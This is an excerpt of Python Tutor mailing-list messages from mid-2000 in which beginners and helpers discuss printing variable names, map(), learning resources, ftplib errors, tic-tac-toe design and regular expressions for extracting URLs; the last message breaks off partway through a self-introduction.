From emile@fenx.com  Thu Jun  1 01:40:37 2000
From: emile@fenx.com (Emile van Sebille)
Date: Wed, 31 May 2000 17:40:37 -0700
Subject: [Tutor] printing variable name and value?
References: <Pine.LNX.3.96.1000531213452.3901B-100000@Pons.sote.hu>
Message-ID: <03d501bfcb62$089b6b20$1906a8c0@fc.fenx.com>

Gabor,

Well, if you *really* don't want to pass locals() or
globals() to the function, it looks like this can dig
them out.   This should find all the names in the scope
of the caller that point to the id of the vars passed,
and appears to work in idle as well as imported.

def showvars(*vars):
  import sys
  try:
    1/0
  except ZeroDivisionError:
    callers_globals = sys.exc_info()[2].tb_frame.f_back.f_globals
    callers_locals = sys.exc_info()[2].tb_frame.f_back.f_locals
  varids=[]
  for eachvar in vars:
    varids.append(id(eachvar))
  for calling_var_name, calling_var_value in callers_locals.items() +
callers_globals.items():
    if id(calling_var_value) in varids:
      print calling_var_name, " = ", calling_var_

showvars(a,b,c)
b  =  4
c  =  6
a  =  2

It should probably verify that the variable names found are from
the invoking statement.  Particularly as:

showvars.showvars(a + b)
c  =  6

See you,

Emile van Sebille
emile@fenx.com
-------------------


----- Original Message -----
From: Borgulya Gabor <borgulya@pons.sote.hu>
To: Emile van Sebille <emile@fenx.com>
Cc: Python Tutor <tutor@python.org>
Sent: Wednesday, May 31, 2000 12:48 PM
Subject: Re: [Tutor] printing variable name and value?


> Hello,
>
> I have found a working, but unstable solution for my own question:
>
> import traceback
> def prvar(__x):
>     print traceback.extract_stack(limit=2)[0][3][6:][:-1],"=",__x
>
> Lets's test it:
>
> a=5; b=3
> prvar(a)
> prvar(a+b)
> for i in range(10,8,-1):
>     prvar(i)
>
> The output:
>
> a = 5
> a+b = 8
> i = 10
> i = 9
>
> It works, and I am going to use it for testing my scripts. But in many
> cases this method will fail:
> prvar (a)         #  because there is a space between prvar and the
'('
> (prvar(a))        #  such problems could be solved by cleverer search
>                   #    for the parameter in the traceback string
> prvar(a);prvar(b) #  would confuse the cleverer algorithms too
>
> Unfortunately, the outcome is unpredictable when running the script
from
> IDLE. I don't understand, why.
>
> Yours,
>
> Gabor
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://www.python.org/mailman/listinfo/tutor
>



From emile@fenx.com  Thu Jun  1 01:46:02 2000
From: emile@fenx.com (Emile van Sebille)
Date: Wed, 31 May 2000 17:46:02 -0700
Subject: [Tutor] printing variable name and value?
References: <Pine.LNX.3.96.1000531213452.3901B-100000@Pons.sote.hu> <03d501bfcb62$089b6b20$1906a8c0@fc.fenx.com>
Message-ID: <03eb01bfcb62$c8d810a0$1906a8c0@fc.fenx.com>

Oops, last part of the last line ended up
on the cutting room floor as I cut the
comments out...  s/b

def showvars(*vars):
  import sys
  try:
    1/0
  except ZeroDivisionError:
    callers_globals = sys.exc_info()[2].tb_frame.f_back.f_globals
    callers_locals = sys.exc_info()[2].tb_frame.f_back.f_locals
  if id(callers_locals) == id(callers_globals):
    callers_globals = {}
  varids=[]
  for eachvar in vars:
    varids.append(id(eachvar))
  #found, tofind = 0, len(varids)
  for calling_var_name, calling_var_value in callers_locals.items() +
callers_globals.items():
    if id(calling_var_value) in varids:
      print calling_var_name, " = ", calling_var_value
      #found = found + 1
      #if found == tofind:
        #break


Emile van Sebille
emile@fenx.com
-------------------




From andre@beta.telenordia.se  Thu Jun  1 14:24:45 2000
From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=)
Date: Thu, 1 Jun 2000 15:24:45 +0200
Subject: [Tutor] Converting all elements of a tuple
Message-ID: <20000601152445.A1818@beta.telenordia.se>

Hi,

If I have a tuple that consists of numbers that are represented as
strings ('1.1', '1.2', '1.3') is there a simple way of converting all
of these elements to their number representation, that is float?

For now I use the for loop below for this, but since this must be a
pretty common things to do I thought there might be a conversion
function. Is there?

str_tuple = ('1.1', '1.2', '1.3')
lst = []
for element in str_tuple:
	lst.append(float(element))
-- 

// André


From scarblac@pino.selwerd.nl  Thu Jun  1 14:42:23 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 1 Jun 2000 15:42:23 +0200
Subject: [Tutor] Converting all elements of a tuple
In-Reply-To: <20000601152445.A1818@beta.telenordia.se>; from andre@beta.telenordia.se on Thu, Jun 01, 2000 at 03:24:45PM +0200
References: <20000601152445.A1818@beta.telenordia.se>
Message-ID: <20000601154223.A10219@pino.selwerd.nl>

On Thu, Jun 01, 2000 at 03:24:45PM +0200, André Dahlqvist wrote:
> If I have a tuple that consists of numbers that are represented as
> strings ('1.1', '1.2', '1.3') is there a simple way of converting all
> of these elements to their number representation, that is float?
> 
> For now I use the for loop below for this, but since this must be a
> pretty common things to do I thought there might be a conversion
> function. Is there?
> 
> str_tuple = ('1.1', '1.2', '1.3')
> lst = []
> for element in str_tuple:
> 	lst.append(float(element))

This is what map() was made for. Apply a function to all elements of a
sequence and return the list of results.

str_tuple = ('1.1','1.2','1.3')
lst = map(float, str_tuple)

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From spirou@carolo.net  Thu Jun  1 17:15:03 2000
From: spirou@carolo.net (Denis =?iso-8859-1?Q?Fr=E8re?=)
Date: Thu, 01 Jun 2000 18:15:03 +0200
Subject: [Tutor] remove me
References: <000c01b910ba$71c50ca0$73b61b3f@theecoop>
Message-ID: <39368C07.CA62CCE3@carolo.net>

> theecoop wrote:
> 
> remove me

You'd better visit
http://www.python.org/mailman/listinfo/tutor

At the bottom of the page (Tutor Subscribers), you can edit your
subsription (set options like digest and delivery modes, get a reminder
of your password, or unsubscribe from Tutor).

Should be easy enough.

-- 
Denis Frère
P3B    : Club Free-Pytho-Linuxien Carolorégien http://www.p3b.org
Aragne : Internet - Réseaux - Formations  http://www.aragne.com


From stix_and_fish@yahoo.com  Thu Jun  1 22:11:35 2000
From: stix_and_fish@yahoo.com (Simon Zemek)
Date: Thu, 1 Jun 2000 14:11:35 -0700 (PDT)
Subject: [Tutor] Hi
Message-ID: <20000601211135.13635.qmail@web4901.mail.yahoo.com>

Hello,

I am new to programing and i was wondering if anyone
could help me learn python or give me some tips on
where to lean it from.

Thanx
  Simon

=====
This has been Stix speaking. Thank you for going out of you time 
to listen. You probably had something important to do and
skiped it to listen to me. I'm not sorry though. I think the
e-mails i send are very important. If you don't think so you
can complain at 911. If you wish to talk to me pesonaly call
at 522-1169. You can also call me if you just want to talk
to me which I don't know why you would but you can. Well, Bye

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/


From parkw@better.net  Thu Jun  1 22:29:07 2000
From: parkw@better.net (William Park)
Date: Thu, 1 Jun 2000 17:29:07 -0400
Subject: [Tutor] Hi
In-Reply-To: <20000601211135.13635.qmail@web4901.mail.yahoo.com>; from stix_and_fish@yahoo.com on Thu, Jun 01, 2000 at 02:11:35PM -0700
References: <20000601211135.13635.qmail@web4901.mail.yahoo.com>
Message-ID: <20000601172907.A942@better.net>

On Thu, Jun 01, 2000 at 02:11:35PM -0700, Simon Zemek wrote:
> Hello,
> 
> I am new to programing and i was wondering if anyone
> could help me learn python or give me some tips on
> where to lean it from.
> 
> Thanx
>   Simon

The best starting point is online tutorial at
    http://www.python.org/doc/current/tut/tut.html

--William


From scarblac@pino.selwerd.nl  Thu Jun  1 23:05:48 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Fri, 2 Jun 2000 00:05:48 +0200
Subject: [Tutor] Hi
In-Reply-To: <20000601172907.A942@better.net>; from parkw@better.net on Thu, Jun 01, 2000 at 05:29:07PM -0400
References: <20000601211135.13635.qmail@web4901.mail.yahoo.com> <20000601172907.A942@better.net>
Message-ID: <20000602000548.A10675@pino.selwerd.nl>

On Thu, Jun 01, 2000 at 05:29:07PM -0400, William Park wrote:
> On Thu, Jun 01, 2000 at 02:11:35PM -0700, Simon Zemek wrote:
> > Hello,
> > 
> > I am new to programing and i was wondering if anyone
> > could help me learn python or give me some tips on
> > where to lean it from.
> > 
> > Thanx
> >   Simon
> 
> The best starting point is online tutorial at
>     http://www.python.org/doc/current/tut/tut.html

Actually, I think that that tutorial is not the best option for someone who
is completely new to programming; it expects some experience.

However, on http://www.python.org/doc/Intros.html , there are some links to
introductions for non-programmers. Look at those.

If you have any questions you can't find the answer to while going through
those tutorials, just ask here.
-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From jcm@bigskytel.com  Thu Jun  1 23:51:51 2000
From: jcm@bigskytel.com (David Porter)
Date: Thu, 1 Jun 2000 16:51:51 -0600
Subject: [Tutor] Hi
In-Reply-To: <20000601211135.13635.qmail@web4901.mail.yahoo.com>; from stix_and_fish@yahoo.com on Thu, Jun 01, 2000 at 02:11:35PM -0700
References: <20000601211135.13635.qmail@web4901.mail.yahoo.com>
Message-ID: <20000601165151.A5512@bigskytel.com>

* Simon Zemek <stix_and_fish@yahoo.com>:
> 
> I am new to programing and i was wondering if anyone
> could help me learn python or give me some tips on
> where to lean it from.
> 

http://www.python.org/doc/Intros.html
    
Scroll down to the header: "Introductions to Python programming for
non-programmers".

  david.


From genius@idirect.com  Fri Jun  2 00:04:12 2000
From: genius@idirect.com (Charles Takacs)
Date: Thu, 1 Jun 2000 19:04:12 -0400
Subject: [Tutor] Hi
Message-ID: <003201bfcc1d$b421dfe0$61019ad8@charlest>

Hi Simon :-)
If you are new to Programming then In addition to the Tutorials found on
Python's Home Page you should get as the 1st. choice "Teach Yourself Python
in 24hrs". It was just Published a few weeks ago and I bought it right away.

"Learning Python" is also a very good book, but as a Newbie I found it quite
overwhealming, to the point, that I almost stopped learning Python.  On the
other hand; I am very happy that I bought the "Teach Yourself Python in
24hrs". I find it considerable easier to comprehend the concepts, etc.

You can read the book online at the following:

    http://www.pauahtun.org/TYPython/


Check it out, then buy it. You won't be sorry.
Best regards
Snoopy :-)


-----Original Message-----
From: Simon Zemek <stix_and_fish@yahoo.com>
To: tutor@python.org <tutor@python.org>
Date: Thursday, June 01, 2000 5:08 PM
Subject: [Tutor] Hi


>Hello,
>
>I am new to programing and i was wondering if anyone
>could help me learn python or give me some tips on
>where to lean it from.
>
>Thanx
>  Simon
>
>=====
>This has been Stix speaking. Thank you for going out of you time
>to listen. You probably had something important to do and
>skiped it to listen to me. I'm not sorry though. I think the
>e-mails i send are very important. If you don't think so you
>can complain at 911. If you wish to talk to me pesonaly call
>at 522-1169. You can also call me if you just want to talk
>to me which I don't know why you would but you can. Well, Bye
>
>__________________________________________________
>Do You Yahoo!?
>Send instant messages & get email alerts with Yahoo! Messenger.
>http://im.yahoo.com/
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://www.python.org/mailman/listinfo/tutor



From stix_and_fish@yahoo.com  Fri Jun  2 00:38:45 2000
From: stix_and_fish@yahoo.com (Simon Zemek)
Date: Thu, 1 Jun 2000 16:38:45 -0700 (PDT)
Subject: [Tutor] (no subject)
Message-ID: <20000601233845.16980.qmail@web4901.mail.yahoo.com>

I would like to thank everyone who helped me get
started programing.

I was wondering if anyone could lets me see a program
someone could let me have a sample program so i could
see what u can really do with python

Thanx again
        Simon

=====
This has been Stix speaking. Thank you for going out of you time 
to listen. You probably had something important to do and
skiped it to listen to me. I'm not sorry though. I think the
e-mails i send are very important. If you don't think so you
can complain at 911. If you wish to talk to me pesonaly call
at 522-1169. You can also call me if you just want to talk
to me which I don't know why you would but you can. Well, Bye

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/


From jcm@bigskytel.com  Fri Jun  2 09:02:31 2000
From: jcm@bigskytel.com (David Porter)
Date: Fri, 2 Jun 2000 02:02:31 -0600
Subject: [Tutor] Hi
In-Reply-To: <003201bfcc1d$b421dfe0$61019ad8@charlest>; from genius@idirect.com on Thu, Jun 01, 2000 at 07:04:12PM -0400
References: <003201bfcc1d$b421dfe0$61019ad8@charlest>
Message-ID: <20000602020231.A8705@bigskytel.com>

* Charles Takacs <genius@idirect.com>:

> 
> You can read the book online at the following:
> 
>     http://www.pauahtun.org/TYPython/

Don't you mean that you can read about the book? I couldn't locate anything
beyond blurbs and sample programs. No text from the book was there except
for a portion of the introduction.

 david.


From speaker1@mindspring.com  Fri Jun  2 13:23:47 2000
From: speaker1@mindspring.com (Darrell Nobles)
Date: Fri, 2 Jun 2000 08:23:47 -0400
Subject: [Tutor] Sign Me Up
Message-ID: <002301bfcc8d$672b28c0$fd4c56d1@den>

This is a multi-part message in MIME format.

------=_NextPart_000_0020_01BFCC6B.DFA40AA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Send me mail

------=_NextPart_000_0020_01BFCC6B.DFA40AA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Send me mail</FONT></DIV></BODY></HTML>

------=_NextPart_000_0020_01BFCC6B.DFA40AA0--



From tf@malcolmsmith.net  Sat Jun  3 15:05:42 2000
From: tf@malcolmsmith.net (tf@malcolmsmith.net)
Date: Sat, 3 Jun 2000 09:05:42 -0500
Subject: [Tutor] a strategy for learning
Message-ID: <20000603090542.A451@malcolmsmith.net>

Howdy guys,

I have a task for python, but I don't know python yet.  Seems like
this may be a good way to learn. can someone give me a list of steps
to take?

I have a directory full of html files, named by number (1.html,
2.html, etc).  I want to create a page of links to each of them
based on the text surrounded by the second set of <h2> tags in each
file.

This sound reasonable?
-- 


-Tom


From scarblac@pino.selwerd.nl  Sat Jun  3 15:27:05 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Sat, 3 Jun 2000 16:27:05 +0200
Subject: [Tutor] a strategy for learning
In-Reply-To: <20000603090542.A451@malcolmsmith.net>; from tf@malcolmsmith.net on Sat, Jun 03, 2000 at 09:05:42AM -0500
References: <20000603090542.A451@malcolmsmith.net>
Message-ID: <20000603162705.A12749@pino.selwerd.nl>

On Sat, Jun 03, 2000 at 09:05:42AM -0500, tf@malcolmsmith.net wrote:
> I have a task for python, but I don't know python yet.  Seems like
> this may be a good way to learn. can someone give me a list of steps
> to take?
> 
> I have a directory full of html files, named by number (1.html,
> 2.html, etc).  I want to create a page of links to each of them
> based on the text surrounded by the second set of <h2> tags in each
> file.
> 
> This sound reasonable?

It's reasonable, but it depends a bit on how "nice" the html files are.
As long as they're simple enough to do a simple text search for "<h2>", it's
not so hard. If there's a chance of stuff like '<sometag value="<h2>">' or
'<!-- <h2>' you will have to use a real HTML parser, and that will take
longer to learn.

Your first step would be to find a tutorial and find out how Python uses
strings, lists, and files. Play around with them a bit in the interpreter (I
don't know if you can already program a bit, but this shouldn't be hard).

Then the program should just
- Get the list of files (os.listdir)
- For each of the files,
   - Read it in
   - Find the second <h2>
   - Find the first </h2> after that
   - Append the text in between to a list
- Write a HTML file based on the list

None of these steps should be hard once you know how to use files,
strings and lists.

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From wilson@visi.com  Sun Jun  4 04:46:55 2000
From: wilson@visi.com (Timothy Wilson)
Date: Sat, 3 Jun 2000 22:46:55 -0500 (CDT)
Subject: [Tutor] tic tac toe data structure
Message-ID: <Pine.GSO.4.10.10006032231330.4200-100000@isis.visi.com>

Hi everyone,

The frequency of my posts to the list lately is directly proportional to my
enthusiasm with learning Python! I'm really looking forward to this summer
when I'll have some real concentrated time to learn. It's going to be lots
of Python and Zope for me until the kids come back to school in Sept.

Anyway, I was talking with a couple of our AP C++ students the other day,
and they showed me the tic tac toe program they'd written. I immediately
thought that it would be a fun little program to write in Python. I've been
pondering a bit and wonder if anyone could offer a couple suggestions.

1. The tic tac toe "board" is a 3x3 matrix. What would be the best data
structure for representing the board? I know that NumPy (I think that's the
name) does matrices, but that seems like overkill. Would a list of lists
work?

e.g.,  board = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

2. I have yet to fully wrap my brain around OOP. Would this be a good chance
to attempt an OO approach? 

3. Is there an accepted method of handling game-type logic? I've never
programmed a game before. What's the best way to organize the computer's
playing strategy?

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From scarblac@pino.selwerd.nl  Sun Jun  4 10:48:43 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Sun, 4 Jun 2000 11:48:43 +0200
Subject: [Tutor] tic tac toe data structure
In-Reply-To: <Pine.GSO.4.10.10006032231330.4200-100000@isis.visi.com>; from wilson@visi.com on Sat, Jun 03, 2000 at 10:46:55PM -0500
References: <Pine.GSO.4.10.10006032231330.4200-100000@isis.visi.com>
Message-ID: <20000604114843.A18551@pino.selwerd.nl>

On Sat, Jun 03, 2000 at 10:46:55PM -0500, Timothy Wilson wrote:
> The frequency of my posts to the list lately is directly proportional to my
> enthusiasm with learning Python! I'm really looking forward to this summer
> when I'll have some real concentrated time to learn. It's going to be lots
> of Python and Zope for me until the kids come back to school in Sept.
> 
> Anyway, I was talking with a couple of our AP C++ students the other day,
> and they showed me the tic tac toe program they'd written. I immediately
> thought that it would be a fun little program to write in Python. I've been
> pondering a bit and wonder if anyone could offer a couple suggestions.
> 
> 1. The tic tac toe "board" is a 3x3 matrix. What would be the best data
> structure for representing the board? I know that NumPy (I think that's the
> name) does matrices, but that seems like overkill. Would a list of lists
> work?
> 
> e.g.,  board = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

Probably. I played a bit with chess things recently and I just use one list
with length 64. That's a bit easier to index, and a square index is just one
index instead of a tuple (I have a module squares.py that basically does 
a1 = 0, b1 = 1, c1 = 2, a2 = 8 etc so I can use position.get_square(a3) and
so on).

But it doesn't really matter, tic tac toe is easy, just use what you think
is the cleanest way to do it :)

> 2. I have yet to fully wrap my brain around OOP. Would this be a good chance
> to attempt an OO approach?

Yes. Make a Position class, legal_moves() methods and so on. I overdid it a
bit with chess - Move was also a class, instead of using simple tuples for
moves. That meant that it was somewhat slow, it needs to instantiate thousands
of Moves quickly. I need to get back to it someday.

> 3. Is there an accepted method of handling game-type logic? I've never
> programmed a game before. What's the best way to organize the computer's
> playing strategy?

It's called "minimax searching" on a tree of legal moves. There's an
optimization on it called "alpha beta pruning". If you do a search on Google
for those terms I bet you'll find a lot of information.

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From rbl@hal.cwru.edu  Sun Jun  4 14:59:44 2000
From: rbl@hal.cwru.edu (Robin B. Lake)
Date: Sun, 4 Jun 2000 09:59:44 -0400 (EDT)
Subject: [Tutor] tic tac toe data structure
Message-ID: <200006041359.JAA19013@hal.epbi.cwru.edu>

Good solution.  What struck me as a possible structure was a list
of all possible winning lines (some tic-tac-toe games allow 4 corners
as a winning "line").  I think the Python expression of a strategy
may be easier with that "line" perspective.

FWIW,
Rob Lake
rbl@hal.cwru.edu

> From tutor-admin@python.org Sun Jun  4 05:46:24 2000
> Delivered-To: tutor@python.org
> To: tutor@python.org
> Subject: Re: [Tutor] tic tac toe data structure
> Mime-Version: 1.0
> X-BeenThere: tutor@python.org
> X-Mailman-Version: 2.0beta3
> List-Id: Discussion for learning programming with Python <tutor.python.org>
> 
> On Sat, Jun 03, 2000 at 10:46:55PM -0500, Timothy Wilson wrote:
> > The frequency of my posts to the list lately is directly proportional to my
> > enthusiasm with learning Python! I'm really looking forward to this summer
> > when I'll have some real concentrated time to learn. It's going to be lots
> > of Python and Zope for me until the kids come back to school in Sept.
> > 
> > Anyway, I was talking with a couple of our AP C++ students the other day,
> > and they showed me the tic tac toe program they'd written. I immediately
> > thought that it would be a fun little program to write in Python. I've been
> > pondering a bit and wonder if anyone could offer a couple suggestions.
> > 
> > 1. The tic tac toe "board" is a 3x3 matrix. What would be the best data
> > structure for representing the board? I know that NumPy (I think that's the
> > name) does matrices, but that seems like overkill. Would a list of lists
> > work?
> > 
> > e.g.,  board = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
> 
> Probably. I played a bit with chess things recently and I just use one list
> with length 64. That's a bit easier to index, and a square index is just one
> index instead of a tuple (I have a module squares.py that basically does 
> a1 = 0, b1 = 1, c1 = 2, a2 = 8 etc so I can use position.get_square(a3) and
> so on).
> 
> But it doesn't really matter, tic tac toe is easy, just use what you think
> is the cleanest way to do it :)
> 
> > 2. I have yet to fully wrap my brain around OOP. Would this be a good chance
> > to attempt an OO approach?
> 
> Yes. Make a Position class, legal_moves() methods and so on. I overdid it a
> bit with chess - Move was also a class, instead of using simple tuples for
> moves. That meant that it was somewhat slow, it needs to instantiate thousands
> of Moves quickly. I need to get back to it someday.
> 
> > 3. Is there an accepted method of handling game-type logic? I've never
> > programmed a game before. What's the best way to organize the computer's
> > playing strategy?
> 
> It's called "minimax searching" on a tree of legal moves. There's an
> optimization on it called "alpha beta pruning". If you do a search on Google
> for those terms I bet you'll find a lot of information.
> 
> -- 
> Remco Gerlich,  scarblac@pino.selwerd.nl
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://www.python.org/mailman/listinfo/tutor
> 


From andre@beta.telenordia.se  Sun Jun  4 16:15:20 2000
From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=)
Date: Sun, 4 Jun 2000 17:15:20 +0200
Subject: [Tutor] String searching
Message-ID: <20000604171520.A8281@beta.telenordia.se>

> > >>> word = "http://www.fenx.com"
> > >>> import string
> > >>> if string.split(word,'://')[0] in ('http','ftp'):

I mentioned earlier that this solution worked good for my needs, but I
have now found a case which I would need for it to handle, but it
doesn't. Most of the links in the text that I am searching are
separated from the rest of the text with a space, like this: "For more
info see http://www.somelink.com .", which is as I see it an attempt to
ease extraction. But in a few places in the text there are links
enclosed in parenthesis where they haven't put a space at the end nor
the beginning: "(http://www.somelink.com)", and the above solution
doesn't work there. While I could add "(http" and "(ftp" to the list it
checks it doesn't seam like the right thing to do, especially since I
would then remove possible '(' and '(', before using the link.

Earlier in this thread Craig mentioned that it would probably be best
to use regular expressions, and because of the problems mentioned above
I think they are what I need. So I read up on regular expressions, and
found a solution that could find the URLs in the text. But since I am
not very good at regular expressions I can not come up with one that
correctly handles the above mentioned problems. That is, I would like
it to find links even if they are like "(http://www.link.com)" or when
a dot is placed right after the link. Then I want to extract this link,
but _only_ the part of it that is actually the link (not the
surrounding parenthesis for an example.)

Sorry for the long explanation, I wanted to make sure I correctly
described what I wanted to do.
-- 

// André


From andresg@umich.edu  Mon Jun  5 08:51:42 2000
From: andresg@umich.edu (Andres Gelabert)
Date: Mon, 5 Jun 2000 03:51:42 -0400
Subject: [Tutor] ftplib
Message-ID: <002e01bfcec2$e4332e80$32b04bcf@umich.edu>

This is a multi-part message in MIME format.

------=_NextPart_000_002B_01BFCEA1.5C7214A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Greetings,
I'm new to both Python and this list.  My first program involves using =
ftp to transfer files from one NT server to another one.  The files =
transfer successfully, but the quit() command produces "TypeError: call =
of non-function (type string)," whereas close() and sendcmd('bye') =
produce NameErrors. =20
I'd appreciate someone's pointing out what I'm doing wrong.

Andres

------=_NextPart_000_002B_01BFCEA1.5C7214A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Greetings,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I'm new to both Python and this =
list.&nbsp; My=20
first program involves using ftp to transfer files from one NT server to =
another=20
one.&nbsp; The files transfer successfully, but the quit() command =
produces=20
"TypeError: call of non-function (type string)," whereas close() and=20
sendcmd('bye') produce NameErrors.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I'd appreciate someone's pointing out =
what I'm=20
doing wrong.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Andres</FONT></DIV></BODY></HTML>

------=_NextPart_000_002B_01BFCEA1.5C7214A0--



From scarblac@pino.selwerd.nl  Mon Jun  5 10:01:06 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 5 Jun 2000 11:01:06 +0200
Subject: [Tutor] ftplib
In-Reply-To: <002e01bfcec2$e4332e80$32b04bcf@umich.edu>; from andresg@umich.edu on Mon, Jun 05, 2000 at 03:51:42AM -0400
References: <002e01bfcec2$e4332e80$32b04bcf@umich.edu>
Message-ID: <20000605110106.B21823@pino.selwerd.nl>

On Mon, Jun 05, 2000 at 03:51:42AM -0400, Andres Gelabert wrote:
> Greetings,
> I'm new to both Python and this list.  My first program involves using ftp to transfer files from one NT server to another one.  The files transfer successfully, but the quit() command produces "TypeError: call of non-function (type string)," whereas close() and sendcmd('bye') produce NameErrors.
> I'd appreciate someone's pointing out what I'm doing wrong.

Could you post some code where you have the problem?

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From craig@osa.att.ne.jp  Mon Jun  5 11:39:37 2000
From: craig@osa.att.ne.jp (Craig Hagerman)
Date: Mon, 05 Jun 2000 19:39:37 +0900
Subject: [Tutor] String searching
Message-ID: <200006051036.TAA10910@osa.att.ne.jp>

Hello Andre,



> Earlier in this thread Craig mentioned that it would probably be best
> to use regular expressions, and because of the problems mentioned above
> I think they are what I need.

I really like using Regular Expressions, and they surely can help with a
problem such as yours.


>  But since I am
> not very good at regular expressions I can not come up with one that
> correctly handles the above mentioned problems.

I recommend the documentation on regular expressions available from the
Python site. It is pretty good at getting you up to speed. The relevant
chapter in "Python: Essential Reference" (Beazley) is useful as well.

> it to find links even if they are like "(http://www.link.com)" or when
> a dot is placed right after the link. Then I want to extract this link,
> but _only_ the part of it that is actually the link (not the
> surrounding parenthesis for an example.)

Is this text you are searching just plain text or is it marked up in html?
If it is html then the solution is very easy - just search for link tags (ie
<a href = "UrlLocation"> with a regex and extract the Url. Here is one
solution for that case:

import re
isLink = re.compile('<a\shref\s?.*?["|\'](.+?)["|\']',re.IGNORECASE)

for line in input.readlines():
    if isLink.seach(line):
        link = isLink.seach(line).group(1)

I will explain this regex:
 \s specifies a space - which should appear between 'a' and 'href'. There
may or may not be a space after 'href' so the question mark (\s?) matches
one or zero times with this. I have noticed some people write extra html
code between the 'a href' and "Url" so  .*?  is there to take care of any
extraneous code. The Url should be the only thing within quotes, whether
single or double  (ie ["|\']  -- you have to escape the single quote) so
make a group (ie  (.....)  ) of anything between quotes. This is the first
group so when we search specifying group one (ie isLink.seach(line).group(1)
) it will match the entire expression from <a href....  until the final
quote mark but only return the grouped expression.


If the text you are seaching is plain text then it is no more difficult. You
must think about how to specify the different cases. The Url could be
surrounded by quotes or parenthesis, or brackets... but probably NOT by
extraneous letters (ie (awordhttp:www.somewhere.comaword)

You could cover each of these cases in your regex:

isLink = re.compile('["|\'|(|\s]http: ....otherstuff...  ["|\'|\s])

but this could get longer and longer when you realize that there could also
be asterisks around the link etc. A simpler way is just to specify a
non-alphanumberic character which is \W or any white space; \s may appear
once or not at all before the expression to be extracted. So the regex may
look something like this:

isLink =
re.compile('[\W|\s]?(http|ftp):([\w.~/_-?~]*?\w)[\W|\s|([.]\s)]',re.IGNORECA
SE)

The explaination:
first look for either a non-alphanumberic character or a white space (
[\W|\s] ) and match or not. Then look for either "http" or "ftp" followed by
a colon. The next part in brackets is meant to search for a string of
alphanumeric characters or a dot, tilde, backslash, underscore or dash
(\w.~/_-) using non-greedy searching (*?) and make sure that string ends
with an alphanumberic character (\w). Follow that with either a
non-alphanumeric character or a white space or a dot immediatly followed by
a white space ( [\W|\s|([.]\s)] ). And make the entire thing case
insensitive since HTML is not sensitive. I *think* that this will work but
it may need a "&" after the final \w to ensure that it is matching at the
end of that string.

Anyway, I hope this gets you started on regular expressions. There is a
great deal of power there once you get the hang of them.

Craig Hagerman


From nic@clobek.demon.co.uk  Mon Jun  5 12:51:24 2000
From: nic@clobek.demon.co.uk (Nic Brown)
Date: Mon, 5 Jun 2000 12:51:24 +0100
Subject: [Tutor] Midi->Python->Blender3D Questions
Message-ID: <009001bfcee4$72ef1640$9b01e5d4@NicBrown>

This is a multi-part message in MIME format.

------=_NextPart_000_008D_01BFCEEC.C1D79CC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All,


After chatting on numerous IRC channels, followed by a tangent surf on =
the net I have arrived here.
=20

begin: My background (in brief)
  A PLC (Programmable Logic Controller e.g. Allen Bradley SLC-500) =
Programmer by trade, usually trying to code machine control in the =
Pharmaceutical Business. Bugged by forever ever changing user =
specifications. That's life...

  ...About 2 years ago I did a course in Pascal, 1yr @ Open University. =
Enjoyed it immensely, however, work got in the way and I didn't =
continue. Consequently, became very rusty. I could really kick myself =
sometimes.

  Recently started getting back into art (after 16 years), got some =
graphics packages and have been dabbling. Picked up my harmonica and =
started to play Beatles tracks on it (very badly though). Grabbed some =
midi tracks off the net, strangely enough, the Beatles ( a bit of the =
Who, Madness and Led Zeppelin thrown in for good measure).

  I'm thirty three now, married, have two girls, Becky(8) and Chloe (5). =
Currently self employed and unfortunately unemployed at present. No =
problem, life has a strange way of sorting itself out... Rock On.

